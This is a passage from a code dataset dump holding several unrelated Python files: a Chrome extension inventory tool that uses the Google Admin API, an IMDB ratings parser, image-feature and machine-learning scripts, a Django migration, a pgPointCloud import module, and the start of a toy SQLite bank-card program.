extension.get('disabled', False):\n current_extension['disabled'].add(machine_name)\n\n extensions_list[key] = current_extension\n\n\ndef DictToList(data, key_name='id'):\n \"\"\"Converts a dict into a list.\n\n The value of each member of |data| must also be a dict. The original key for\n the value will be inlined into the value, under the |key_name| key.\n\n Args:\n data: a dict where every value is a dict\n key_name: the name given to the key that is inlined into the dict's values\n\n Yields:\n The values from |data|, with each value's key inlined into the value.\n \"\"\"\n assert isinstance(data, dict), '|data| must be a dict'\n for key, value in data.items():\n assert isinstance(value, dict), '|value| must contain dict items'\n value[key_name] = key\n yield value\n\n\ndef Flatten(data, all_columns):\n \"\"\"Flattens lists inside |data|, one level deep.\n\n This function will flatten each dictionary key in |data| into a single row\n so that it can be written to a CSV file.\n\n Args:\n data: the data to be flattened.\n all_columns: set of all columns that are found in the result (this will be\n filled by the function).\n\n Yields:\n A list of dict objects whose lists or sets have been flattened.\n \"\"\"\n SEPARATOR = ', '\n\n # Max length of a cell in Excel is technically 32767 characters but if we get\n # too close to this limit Excel seems to create weird results when we open\n # the CSV file. To protect against this, give a little more buffer to the max\n # characters.\n MAX_CELL_LENGTH = 32700\n\n for item in data:\n added_item = {}\n for prop, value in item.items():\n # Non-container properties can be added directly.\n if not isinstance(value, (list, set)):\n added_item[prop] = value\n continue\n\n # Otherwise join the container together into a single cell.\n num_prop = 'num_' + prop\n added_item[num_prop] = len(value)\n\n # For long lists, the cell contents may go over MAX_CELL_LENGTH, so\n # split the list into chunks that will fit into MAX_CELL_LENGTH.\n flat_list = SEPARATOR.join(sorted(value))\n overflow_prop_index = 0\n while True:\n current_column = prop\n if overflow_prop_index:\n current_column = prop + '_' + str(overflow_prop_index)\n\n flat_list_len = len(flat_list)\n if flat_list_len > MAX_CELL_LENGTH:\n last_separator = flat_list.rfind(SEPARATOR, 0,\n MAX_CELL_LENGTH - flat_list_len)\n if last_separator != -1:\n added_item[current_column] = flat_list[0:last_separator]\n flat_list = flat_list[last_separator + 2:]\n overflow_prop_index = overflow_prop_index + 1\n continue\n\n # Fall-through case where no more splitting is possible, this is the\n # lass cell to add for this list.\n added_item[current_column] = flat_list\n break\n\n assert isinstance(added_item[prop],\n (int, bool, str)), ('unexpected type for item: %s' %\n type(added_item[prop]).__name__)\n\n all_columns.update(added_item.keys())\n yield added_item\n\n\ndef ExtensionListAsCsv(extensions_list, csv_filename, sort_column='name'):\n \"\"\"Saves an extensions list to a CSV file.\n\n Args:\n extensions_list: an extensions list as returned by ComputeExtensionsList\n csv_filename: the name of the CSV file to save\n sort_column: the name of the column by which to sort the data\n \"\"\"\n all_columns = set()\n flattened_list = list(Flatten(DictToList(extensions_list), all_columns))\n\n desired_column_order = [\n 'id', 'name', 'num_permissions', 'num_installed', 'num_disabled',\n 'num_forced', 'permissions', 'installed', 'disabled', 'forced'\n ]\n\n # Order the columns as desired. Columns other than those in\n # |desired_column_order| will be in an unspecified order after these columns.\n ordered_fieldnames = []\n for c in desired_column_order:\n matching_columns = []\n for f in all_columns:\n if f == c or f.startswith(c):\n matching_columns.append(f)\n ordered_fieldnames.extend(sorted(matching_columns))\n\n ordered_fieldnames.extend(\n [x for x in desired_column_order if x not in ordered_fieldnames])\n with open(csv_filename, mode='w', newline='', encoding='utf-8') as csv_file:\n writer = csv.DictWriter(csv_file, fieldnames=ordered_fieldnames)\n writer.writeheader()\n for row in sorted(flattened_list, key=lambda ext: ext[sort_column]):\n writer.writerow(row)\n\n\ndef main(args):\n if not args.admin_email:\n print('admin_email must be specified.')\n sys.exit(1)\n\n if not args.service_account_key_path:\n print('service_account_key_path must be specified.')\n sys.exit(1)\n\n # Load the json format key that you downloaded from the Google API\n # Console when you created your service account. For p12 keys, use the\n # from_p12_keyfile method of ServiceAccountCredentials and specify the\n # service account email address, p12 keyfile, and scopes.\n service_credentials = Credentials.from_service_account_file(\n args.service_account_key_path,\n scopes=[\n 'https://www.googleapis.com/auth/admin.directory.device.chromebrowsers.readonly'\n ],\n subject=args.admin_email)\n\n try:\n http = google_auth_httplib2.AuthorizedHttp(service_credentials, http=Http())\n extensions_list = {}\n base_request_url = 'https://admin.googleapis.com/admin/directory/v1.1beta1/customer/my_customer/devices/chromebrowsers'\n request_parameters = ''\n browsers_processed = 0\n while True:\n print('Making request to server ...')\n\n retrycount = 0\n while retrycount < 5:\n response = http.request(base_request_url + '?' + request_parameters,\n 'GET')[1]\n\n if isinstance(response, bytes):\n response = response.decode('utf-8')\n data = json.loads(response)\n if 'browsers' not in data:\n print('Response error, retrying...')\n time.sleep(3)\n retrycount += 1\n else:\n break\n\n browsers_in_data = len(data['browsers'])\n print('Request returned %s results, analyzing ...' % (browsers_in_data))\n ComputeExtensionsList(extensions_list, data)\n browsers_processed += browsers_in_data\n\n if 'nextPageToken' not in data or not data['nextPageToken']:\n break\n\n print('%s browsers processed.' % (browsers_processed))\n\n if (args.max_browsers_to_process is not None and\n args.max_browsers_to_process <= browsers_processed):\n print('Stopping at %s browsers processed.' % (browsers_processed))\n break\n\n request_parameters = ('pageToken={}').format(data['nextPageToken'])\n finally:\n print('Analyze results ...')\n ExtensionListAsCsv(extensions_list, args.extension_list_csv)\n print(\"Results written to '%s'\" % (args.extension_list_csv))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='CBCM Extension Analyzer')\n parser.add_argument(\n '-k',\n '--service_account_key_path',\n metavar='FILENAME',\n required=True,\n help='The service account key file used to make API requests.')\n parser.add_argument(\n '-a',\n '--admin_email',\n required=True,\n help='The admin user used to make the API requests.')\n parser.add_argument(\n '-x',\n '--extension_list_csv',\n metavar='FILENAME',\n default='./extension_list.csv',\n help='Generate an extension list to the specified CSV '\n 'file')\n parser.add_argument(\n '-m',\n '--max_browsers_to_process',\n type=int,\n help='Maximum number of browsers to process. (Must be > 0).')\n args = parser.parse_args()\n\n if (args.max_browsers_to_process is not None and\n args.max_browsers_to_process <= 0):\n print('max_browsers_to_process must be > 0.')\n parser.print_help()\n sys.exit(1)\n\n main(args)\n","sub_path":"docs/enterprise/extension_query.py","file_name":"extension_query.py","file_ext":"py","file_size_in_byte":9924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"178388628","text":"# LINE_OFFSET is the number of line we will start to read information\n# about 250 films with the highest rating.\nLINE_OFFSET = 29\n\n\ndef file_handler(file_name, data):\n \"\"\"File saver function\n\n :param file_name: name of file to save data\n :param data: data to save\n :return: None\n \"\"\"\n with open('data5/{}'.format(file_name), 'w') as file:\n file.write('\\n'.join(data))\n\n\ndef doc_parser():\n \"\"\"Function of parsing data from IMDB statistic\n\n :return: None\n \"\"\"\n ratings_gist = {}\n years_gist = {}\n films_names = []\n line_offset = 1\n\n try:\n with open('data5/ratings.list', 'r', errors='replace') as file:\n\n for line in file:\n if line_offset < LINE_OFFSET:\n line_offset += 1\n continue\n\n data_to_split, year = line.split(' (')\n year = year[:4]\n distribution, votes, rating, *title = data_to_split.split()\n\n films_names.append(' '.join(title))\n ratings_gist[rating] = ratings_gist.get(rating, 0) + 1\n years_gist[year] = years_gist.get(year, 0) + 1\n\n if len(films_names) == 250:\n break\n\n except IOError as error:\n print(error)\n return\n\n ratings_data = [\n '{} - {}'.format(rank, value) for rank, value in ratings_gist.items()\n ]\n\n years_gist_items = sorted(years_gist.items())\n years_data = [\n '{}:{}'.format(year, value) for year, value in years_gist_items\n ]\n\n file_handler('top250_movies.txt', films_names)\n file_handler('ratings.txt', ratings_data)\n file_handler('years.txt', years_data)\n\n\nif __name__ == '__main__':\n doc_parser()\n","sub_path":"src/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"627256110","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 26 13:31:04 2016\n\nExtract Histogram of Oriented Gradients (HOG) for a given image.\nThe resulting histogram is saved in fd as a vector \nVisuales the HOG features for the example image.\n\n@author: roosv_000\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom skimage.io import imread\nfrom skimage.feature import hog\nfrom skimage import color, exposure\n\n#load example image \nimg = imread('img_94.jpg')\nimage = color.rgb2gray(img)\n\n#calculate HOG features\nfd, hog_image = hog(image, orientations=8, pixels_per_cell = (16,16),\n cells_per_block=(1,1), visualise=True)\n\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(8, 4), sharex=True, sharey=True)\n\n# set properties for plot\nax1.axis('off')\nax1.imshow(image, cmap=plt.cm.gray)\nax1.set_title('Input image')\nax1.set_adjustable('box-forced')\n\n# Rescale histogram for better display\nhog_image_rescaled = exposure.rescale_intensity(hog_image, in_range=(0, 0.02))\n\n#Show the HOG feature visualisation \nax2.axis('off')\nax2.imshow(hog_image_rescaled, cmap=plt.cm.gray)\nax2.set_title('Histogram of Oriented Gradients')\nax1.set_adjustable('box-forced')\nplt.show()","sub_path":"Project2/Code/HOG features/HOGvisualise.py","file_name":"HOGvisualise.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"255776457","text":"N = int(input())\nK = int(input())\npetya_desk = int(input())\npetya_place = int(input())\n\npetya_index = (petya_desk-1)*2 + (petya_place-1)\nvasya_index1 = petya_index - K\nvasya_index2 = petya_index + K\n\nif vasya_index1 < 0 and vasya_index2 >= N:\n print(\"-1\")\n exit()\n\nif vasya_index1 < 0:\n best_index = vasya_index2\nelif vasya_index2 > K:\n best_index = vasya_index1\nelse:\n vasya_desk1 = (vasya_index1 / 2) + 1\n vasya_desk2 = (vasya_index2 / 2) + 1\n vasya_distance1 = petya_desk - vasya_desk1\n vasya_distance2 = vasya_desk2 - petya_desk\n if(vasya_distance1 < vasya_distance2):\n best_index = vasya_index1\n else:\n best_index = vasya_index2\n\nvasya_desk = int(best_index/2) + 1\nif best_index % 2:\n vasya_place = 2\nelse:\n vasya_place = 1\nprint(vasya_desk, vasya_place) \n\n","sub_path":"control test(olimpiad).py","file_name":"control test(olimpiad).py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"378788496","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0002_auto_20150514_1755'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='category',\n name='desc',\n field=models.CharField(max_length=100, default=datetime.datetime(2015, 5, 14, 13, 27, 49, 413029, tzinfo=utc)),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='category',\n name='name',\n field=models.CharField(max_length=20, unique=True),\n ),\n ]\n","sub_path":"firstapp/blog/migrations/0003_auto_20150514_2027.py","file_name":"0003_auto_20150514_2027.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"635212864","text":"import pandas as pd\nimport time\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\n\nfrom sklearn.metrics import roc_curve, auc\n\ndef balance_data(data):\n cls_0 = data[data.IND_BOM_1_2 == 0]\n cls_1 = data[data.IND_BOM_1_2 == 1]\n\n while len(cls_1) < len(cls_0):\n cls_1 = cls_1.append(cls_1)\n\n return cls_0.append(cls_1.iloc[:len(cls_0)])\n\ndef get_roc_auc(y, pred):\n false_positive_rate, true_positive_rate, _ = roc_curve(y, pred)\n return auc(false_positive_rate, true_positive_rate)\n\n# READ DATA\n\ndata = pd.read_csv('data/raw.csv', sep='\\t', header=0, index_col=0)\ndata = data.sample(frac=0.1, random_state=100)\ndata = balance_data(data)\n\nX, y = data.iloc[:, 1:-2], data.iloc[:, -2]\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=100)\n\n# ESTIMATORS TUNNING\n\n# options = [1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 600, 750, 1024]\n\n# est_train = []\n# est_test = []\n\n# for x in options:\n# clf = RandomForestClassifier(n_estimators=x, max_depth=8)\n# clf.fit(X_train, y_train)\n\n# train_pred = clf.predict(X_train)\n# est_train.append(get_roc_auc(y_train, train_pred))\n\n# test_pred = clf.predict(X_test)\n# est_test.append(get_roc_auc(y_test, test_pred))\n\n# print (x)\n\n# print (est_train)\n# print (est_test)\n\n# MAX DEPTH TUNNING\n\n# import numpy as np\n# options = np.linspace(1, 32, 32)\n\n# md_train = []\n# md_test = []\n\n# for x in options:\n# clf = RandomForestClassifier(max_depth=x, n_estimators=128)\n# clf.fit(X_train, y_train)\n\n# train_pred = clf.predict(X_train)\n# md_train.append(get_roc_auc(y_train, train_pred))\n\n# test_pred = clf.predict(X_test)\n# md_test.append(get_roc_auc(y_test, test_pred))\n\n# print (x)\n# print (md_train)\n# print (md_test)\n\n# MIN SAMPLES SPLIT TUNNING\n\n# import numpy as np\n# options = np.linspace(0.01, 0.10, 10)\n\n# mss_train = []\n# mss_test = []\n\n# for x in options:\n# clf = GradientBoostingClassifier(min_samples_split=x)\n# clf.fit(X_train, y_train)\n\n# train_pred = clf.predict(X_train)\n# mss_train.append(get_roc_auc(y_train, train_pred))\n\n# test_pred = clf.predict(X_test)\n# mss_test.append(get_roc_auc(y_test, test_pred))\n\n# print (x)\n\n# print (mss_train)\n# print (mss_test)\n\n# MAX FEATURES TUNNING\n\nimport numpy as np\noptions = np.linspace(16, 240, 15)\n\nmf_train = []\nmf_test = []\n\nfor x in options:\n x = int(x)\n clf = RandomForestClassifier(max_features=x, max_depth=16)\n clf.fit(X_train, y_train)\n\n train_pred = clf.predict(X_train)\n mf_train.append(get_roc_auc(y_train, train_pred))\n\n test_pred = clf.predict(X_test)\n mf_test.append(get_roc_auc(y_test, test_pred))\n\n print (x)\n\nprint (mf_train)\nprint (mf_test)","sub_path":"rf_tunning.py","file_name":"rf_tunning.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"461644310","text":"import psycopg2\nfrom psycopg2.extensions import AsIs\n\nfrom osgeo import ogr\nfrom xml.etree import ElementTree as ETree\n\nimport math\nimport random\nimport simplejson as json\n\nfrom cStringIO import StringIO\nimport struct\nimport binascii\n\nfrom pgpointcloud_utils import PcRunTimeException, PcInvalidArgException\n\n# mapping between OGR datatypes and pgPointCloud datatypes\nDATA_TYPE_MAPPING = {\n ogr.OFTInteger: {\n 'interpretation': 'double',\n 'size': 8,\n 'cast': float,\n 'struct': 'd'\n },\n ogr.OFTReal: {\n 'interpretation': 'double',\n 'size': 8,\n 'struct': 'd'\n },\n ogr.OFTDate: {\n 'interpretation': 'double',\n 'size': 8,\n 'struct': 'd'\n },\n ogr.OFTTime: {\n 'interpretation': 'double',\n 'size': 8,\n 'struct': 'd'\n },\n ogr.OFTDateTime: {\n 'interpretation': 'double',\n 'size': 8,\n 'struct': 'd'\n }\n}\n\ndef build_pc_dimension(doc, dimension, index):\n\n pc_dimension = ETree.Element('pc:dimension')\n doc.append(pc_dimension)\n\n pc_position = ETree.Element('pc:position')\n pc_dimension.append(pc_position)\n pc_position.text = str(index)\n\n pc_name = ETree.Element('pc:name')\n pc_dimension.append(pc_name)\n pc_name.text = dimension['name']\n\n pc_size = ETree.Element('pc:size')\n pc_dimension.append(pc_size)\n pc_size.text = str(dimension['type']['dest']['size'])\n\n pc_interpretation = ETree.Element('pc:interpretation')\n pc_dimension.append(pc_interpretation)\n pc_interpretation.text = dimension['type']['dest']['interpretation']\n\n if dimension['type']['source'] in [\n ogr.OFTDate,\n ogr.OFTTime,\n ogr.OFTDateTime\n ]:\n pc_description = ETree.Element('pc:description')\n pc_dimension.append(pc_description)\n\n if dimension['type']['source'] == ogr.OFTDate:\n pc_description.text = 'date as number of seconds UTC from UNIX epoch to 00:00:00 of the date'\n elif dimension['type']['source'] == ogr.OFTTime:\n pc_description.text = 'time as number of seconds UTC from 00:00:00'\n elif dimension['type']['source'] == ogr.OFTDateTime:\n pc_description.text = 'datetime as number of seconds UTC from UNIX epoch'\n\n '''\n pc_metadata = ETree.Element('pc:metadata')\n pc_dimension.append(pc_metadata)\n\n # additional tags indicating that dimension is special \n # date, time, datetime\n ogr_ = ETree.Element('ogr')\n pc_metadata.append(ogr_)\n\n data_type = ETree.Element('datatype')\n ogr_.append(data_type)\n data_type.text = ogr.GetFieldTypeName(dimension['type']['source'])\n '''\n\ndef build_pc_schema(fields):\n XML_DECLARATION = ''\n\n pc_schema = ETree.Element('pc:PointCloudSchema')\n pc_schema.set('xmlns:pc', \"http://pointcloud.org/schemas/PC/1.1\")\n pc_schema.set('xmlns:xsi', \"http://www.w3.org/2001/XMLSchema-instance\")\n\n pc_metadata = ETree.Element('pc:metadata')\n pc_schema.append(pc_metadata)\n\n # compression\n Metadata = ETree.Element('Metadata')\n pc_metadata.append(Metadata)\n Metadata.set('name', 'compression')\n Metadata.text = 'dimensional'\n\n num_dimensions = 1\n\n for dimension in fields['dimension']:\n build_pc_dimension(pc_schema, dimension, num_dimensions)\n num_dimensions += 1\n\n return XML_DECLARATION + ETree.tostring(pc_schema)\n\ndef add_pc_schema(dbconn, pc_schema, srid=0):\n\n try:\n\n cursor = dbconn.cursor()\n\n # check if this schema already exists\n cursor.execute(\"\"\"\nSELECT\n pcid\nFROM pointcloud_formats\nWHERE schema = %s\n \"\"\", [pc_schema])\n # it does exist, use\n if cursor.rowcount > 0:\n return cursor.fetchone()[0]\n\n # next best PCID\n cursor.execute(\"\"\"\nSELECT\n\tmax(avail)\nFROM generate_series(1, 65535) avail\nLEFT JOIN pointcloud_formats used\n\tON avail = used.pcid\nWHERE used.pcid IS NULL\n \"\"\")\n if cursor.rowcount > 0:\n pcid = cursor.fetchone()[0]\n else:\n raise PcRunTimeException(\n message='Query error getting the next available PCID'\n )\n\n cursor.execute(\n 'INSERT INTO pointcloud_formats (pcid, srid, schema) VALUES (%s, %s, %s)', (\n pcid,\n srid,\n pc_schema\n )\n )\n\n dbconn.commit()\n\n except psycopg2.Error:\n dbconn.rollback()\n return None\n finally:\n cursor.close()\n\n return pcid\n\ndef create_pcpatch_table(dbconn, table_name, table_action):\n\n try:\n\n cursor = dbconn.cursor()\n\n # append to existing table, check that table exists\n if table_action == 'a':\n try:\n cursor.execute(\"\"\"\nSELECT 1 FROM %s\n \"\"\", [AsIs(table_name)])\n except psycopg2.Error:\n raise PcInvalidArgException(\n message='Table not found: %s' % table_name\n )\n\n return\n\n # drop table\n if table_action == 'd':\n cursor.execute(\"\"\"\nDROP TABLE IF EXISTS %s\n \"\"\", [AsIs(table_name)])\n\n cursor.execute(\"\"\"\nCREATE TABLE %s (\n id BIGSERIAL PRIMARY KEY,\n pa PCPATCH,\n layer_name TEXT,\n file_name TEXT,\n group_by JSON,\n metadata JSON\n)\n \"\"\", [AsIs(table_name)])\n\n except psycopg2.Error:\n dbconn.rollback()\n raise PcRunTimeException(\n message='Query error creating PcPatch table'\n )\n finally:\n cursor.close()\n\ndef make_wkb_point(pcid, frmt, vals):\n\n values = [1, pcid] + vals\n s = struct.Struct('< B I' + frmt)\n\n return binascii.hexlify(s.pack(*values))\n\ndef insert_pcpoints(dbconn, table_name, wkb_set, group):\n\n group_str = json.dumps(group)\n\n values = [\n [wkb, group_str]\n for wkb in wkb_set\n ]\n\n try:\n\n cursor = dbconn.cursor()\n\n statement = \"\"\"\nINSERT INTO %s (pt, group_by)\nVALUES (%%s::pcpoint, %%s)\n \"\"\" % (\n AsIs(table_name)\n )\n\n cursor.executemany(\n statement,\n values\n )\n\n except psycopg2.Error:\n dbconn.rollback()\n raise PcRunTimeException(\n message='Query error inserting PcPoints'\n )\n finally:\n cursor.close()\n\n return True\n\ndef copy_pcpoints(dbconn, table_name, wkb_set, group):\n\n group_str = json.dumps(group)\n\n f = StringIO(\n '\\n'.join([\n '\\t'.join([wkb, group_str])\n for wkb in wkb_set\n ])\n )\n\n try:\n\n cursor = dbconn.cursor()\n\n cursor.copy_from(f, table_name, columns=('pt', 'group_by'))\n\n except psycopg2.Error:\n dbconn.rollback()\n raise PcRunTimeException(\n message='Query error copying PcPoints'\n )\n finally:\n cursor.close()\n\n return True\n\ndef get_extent_corners(cursor, table_name, in_utm=True):\n if not in_utm:\n cursor.execute(\"\"\"\nWITH extent AS (\n SELECT\n ST_Envelope(ST_Collect(pt::geometry)) AS shp\n FROM %s\n)\nSELECT\n ST_XMin(shp),\n ST_YMax(shp),\n ST_XMax(shp),\n ST_YMin(shp)\nFROM extent\n \"\"\" % (\n AsIs(table_name)\n ))\n else:\n cursor.execute(\"\"\"\nWITH raw_extent AS (\n SELECT\n ST_Envelope(ST_Collect(pt::geometry)) AS shp\n FROM %s\n), utmzone AS (\n SELECT\n utmzone(ST_Centroid(shp)) AS srid\n FROM raw_extent\n), extent AS (\n SELECT\n ST_Transform(shp::geometry, srid) AS shp\n FROM raw_extent\n JOIN utmzone\n ON true\n)\nSELECT\n ST_XMin(shp),\n ST_YMax(shp),\n ST_XMax(shp),\n ST_YMin(shp)\nFROM extent\n \"\"\" % (\n AsIs(table_name)\n ))\n\n return cursor.fetchone()\n\ndef _compute_patch_size(dbconn, temp_table, max_points_per_patch=400):\n\n def get_patch_count(cursor, temp_table, dim, max_points):\n cursor.execute(\"\"\"\nWITH raw_extent AS (\n SELECT\n ST_Envelope(ST_Collect(pt::geometry)) AS shp\n FROM %s\n), utmzone AS (\n SELECT\n utmzone(ST_Centroid(shp)) AS srid\n FROM raw_extent\n), points AS (\n SELECT\n ST_Transform(pt::geometry, srid) AS geom\n FROM %s\n JOIN utmzone\n ON true\n), extent AS (\n SELECT\n ST_Transform(shp::geometry, srid) AS shp\n FROM raw_extent\n JOIN utmzone\n ON true\n)\nSELECT\n ST_Centroid(ST_Collect(geom)) AS shp,\n count(points.*) AS geom_count\nFROM points\nJOIN extent\n ON true\nGROUP BY ST_SnapToGrid(geom, ST_XMin(extent.shp), ST_YMax(extent.shp), %s, %s)\nHAVING count(points.*) > %s\n \"\"\" % (\n AsIs(temp_table),\n AsIs(temp_table),\n dim,\n dim,\n max_points\n ))\n\n return cursor.rowcount\n\n try:\n\n cursor = dbconn.cursor()\n\n ulx, uly, lrx, lry = get_extent_corners(cursor, temp_table)\n width = lrx - ulx\n height = uly - lry\n\n # starting patch size in meters (due to UTM zone usage)\n patch_size = int(max(width / 10., height / 10.))\n\n # no patch size, any patch size is valid\n if patch_size < 1:\n return 100\n\n old_patch_sizes = [0]\n old_patch_counts = [0]\n delta = None\n long_tail_count = 0\n\n while True:\n\n # patch size less than 1\n # means no reasonable patch size worked\n if patch_size < 1:\n\n # use largest patch_size that had\n # the least number of patches over max points per patch\n\n min_patch_count = min(old_patch_counts[1:])\n max_patch_size = -1\n\n for idx in xrange(len(old_patch_counts) - 1, 0, -1):\n if (\n old_patch_counts[idx] == min_patch_count and\n old_patch_sizes[idx] > max_patch_size\n ):\n max_patch_size = old_patch_sizes[idx]\n\n patch_size = max_patch_size\n break\n\n patch_count = \\\n get_patch_count(cursor, temp_table, patch_size, max_points_per_patch)\n\n if abs(patch_size - old_patch_size) <= 1:\n if patch_count == 0:\n if long_tail_count >= 5:\n patch_size = old_patch_size\n break\n elif patch_size > old_patch_size:\n long_tail_count += 1\n elif old_patch_count == 0:\n patch_size = old_patch_size\n break\n elif long_tail_count > 0 and patch_count > 0 and old_patch_count == 0:\n patch_size = old_patch_size\n break\n\n delta = max(abs(patch_size - old_patch_size) / 2, 1)\n if patch_count > 0:\n delta *= -1\n\n old_patch_size = patch_size\n patch_size += delta\n\n old_patch_count = patch_count\n\n cols = int(math.ceil(width / patch_size))\n rows = int(math.ceil(height / patch_size))\n\n except psycopg2.Error:\n dbconn.rollback()\n raise PcRunTimeException(\n message='Query error computing grid for PcPatches'\n )\n finally:\n cursor.close()\n\n return patch_size\n\ndef insert_pcpatches(\n dbconn, file_table, temp_table, layer,\n metadata=None, file_name=None, max_points_per_patch=400\n):\n\n layer_name = layer.GetName()\n\n if metadata:\n # try to be nice with json metadata\n try:\n metadata = json.loads(metadata)\n except json.JSONDecodeError:\n pass\n\n try:\n\n patch_size = _compute_patch_size(dbconn, temp_table, max_points_per_patch)\n\n cursor = dbconn.cursor()\n\n cursor.execute(\"\"\"\nWITH raw_extent AS (\n SELECT\n ST_Envelope(ST_Collect(pt::geometry)) AS shp\n FROM %s\n), utmzone AS (\n SELECT\n utmzone(ST_Centroid(shp)) AS srid\n FROM raw_extent\n), points AS (\n SELECT\n ST_Transform(pt::geometry, srid) AS geom,\n pt,\n group_by\n FROM %s\n JOIN utmzone\n ON true\n), extent AS (\n SELECT\n ST_Transform(shp::geometry, srid) AS shp\n FROM raw_extent\n JOIN utmzone\n ON true\n)\nINSERT INTO %s (layer_name, file_name, group_by, metadata, pa) \nSELECT\n layer_name,\n %s,\n group_by::json,\n %s::json,\n pa\nFROM (\n SELECT\n %s AS layer_name,\n group_by,\n PC_Patch(pt) AS pa\n FROM points\n JOIN extent\n ON true\n GROUP BY group_by, ST_SnapToGrid(geom, ST_XMin(extent.shp), ST_YMax(extent.shp), %s, %s)\n) sub\n \"\"\", [\n AsIs(temp_table),\n AsIs(temp_table),\n AsIs(file_table),\n file_name,\n json.dumps(metadata),\n layer_name,\n patch_size,\n patch_size\n ])\n\n except psycopg2.Error:\n dbconn.rollback()\n raise PcRunTimeException(\n message='Query error inserting PcPatches'\n )\n finally:\n cursor.close()\n\n return True\n\ndef create_temp_table(dbconn):\n\n table_name = (\n 'temp_' +\n ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for i in range(16))\n )\n table_name = '\"' + table_name + '\"'\n\n try:\n\n cursor = dbconn.cursor()\n\n cursor.execute(\"\"\"\nCREATE TEMPORARY TABLE %s (\n id BIGSERIAL PRIMARY KEY,\n pt PCPOINT,\n group_by TEXT\n)\nON COMMIT DROP;\n \"\"\", [AsIs(table_name)])\n\n except psycopg2.Error:\n dbconn.rollback()\n raise PcRunTimeException(\n message='Query error creating temporary PcPoint table'\n )\n finally:\n cursor.close()\n\n return table_name\n","sub_path":"ogr2pgpc/pgpointcloud.py","file_name":"pgpointcloud.py","file_ext":"py","file_size_in_byte":13681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"201355617","text":"import numpy as np\nimport scipy as sp\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib import cm as mp_cm\nfrom mpl_toolkits.mplot3d import Axes3D\n\nA = np.array([[3,2],[2,6]])\nb = np.array([[2],[-8]]).reshape(-1,1)\nc = 0\nprint('shapes: A,b,c ::', A.shape, b.shape)\n\nx_star = np.linalg.inv(A) @ b\nprint(x_star)\n\nnum_pts = 2e2\nx,y = np.meshgrid(np.linspace(-6,4,num_pts), np.linspace(-4,6,num_pts))\nX = np.vstack([x.ravel(), y.ravel()])\n\nz = X * (A @ X) - b.T @ X - c\nz = np.sum(z, axis=0).reshape((x.shape[0],y.shape[0]))\nprint('shapes: x,y,X,z ::', x.shape, y.shape, X.shape, z.shape)\n\nfig = plt.figure()\nax = fig.gca(projection='3d')\nsurf = ax.plot_surface(x, y, z, linewidth=0, cmap=mp_cm.coolwarm)\nfig.colorbar(surf)\n\nplt.show()\n","sub_path":"optimization/conjugate-gradient.py","file_name":"conjugate-gradient.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"490702742","text":"# Write your code here\nimport sqlite3\nimport random\n\nconn = sqlite3.connect(\"card.s3db\")\ncur = conn.cursor()\ncommand = \"\"\"CREATE TABLE IF NOT EXISTS card(\n id INTEGER,\n number TEXT,\n pin TEXT,\n balance INTEGER DEFAULT 0\n ); \"\"\"\ncur.execute(command)\nconn.commit()\n\n\nclass Account:\n num_accs = 0\n\n def create():\n connection = sqlite3.connect(\"card.s3db\")\n crsr = connection.cursor()\n while 1:\n\n acc_num = random.randint(0, 999999999)\n acc_num = '400000' + '0' * (9 - len(str(acc_num))) + str(acc_num)\n acc_num_lst = list(acc_num)\n count = 0\n sum_ = 0\n for i in range(len(acc_num)):\n count += 1\n if count % 2 == 1:\n acc_num_lst[i] = int(acc_num_lst[i]) * 2\n if acc_num_lst[i] > 9:\n acc_num_lst[i] = acc_num_lst[i] - 9\n sum_ += int(acc_num_lst[i])\n acc_num = acc_num + str(10 - sum_ % 10)[-1]\n command = \"\"\"SELECT number FROM card WHERE number = ?;\"\"\"\n crsr.execute(command, (acc_num,))\n ans = crsr.fetchall()\n if len(ans) == 0:\n password = str(random.randint(0, 9999))\n if len(password) < 4:\n password = '0' * (4 - len(password)) + password\n command = \"\"\"INSERT INTO card (id,number,pin,balance) VALUES(?,?,?,0)\"\"\"\n crsr.execute(command, (Account.num_accs + 1, acc_num, password))\n Account.num_accs += 1\n print('Your card has been created')\n print('Your card number:\\n{}'.format(acc_num))\n print('Your card PIN:\\n{}'.format(password))\n\n break\n connection.commit()\n connection.close()\n\n def login():\n conn = sqlite3.connect(\"card.s3db\")\n cur = conn.cursor()\n card_num = input('Enter your card number:')\n pin = input('Enter your PIN:')\n command = \"\"\"SELECT number,pin FROM card WHERE number = ? AND pin = ?;\"\"\"\n cur.execute(command, (card_num, pin))\n ans = cur.fetchall()\n if (card_num, pin) in ans:\n print('You have successfully logged in!\\n')\n while (1):\n\n option = input('1. Balance\\n2. Add income\\n3. Do transfer\\n4. Close account\\n5. Log out\\n0. Exit')\n\n if option == '1':\n command = \"\"\"SELECT balance FROM card WHERE number = ? ;\"\"\"\n 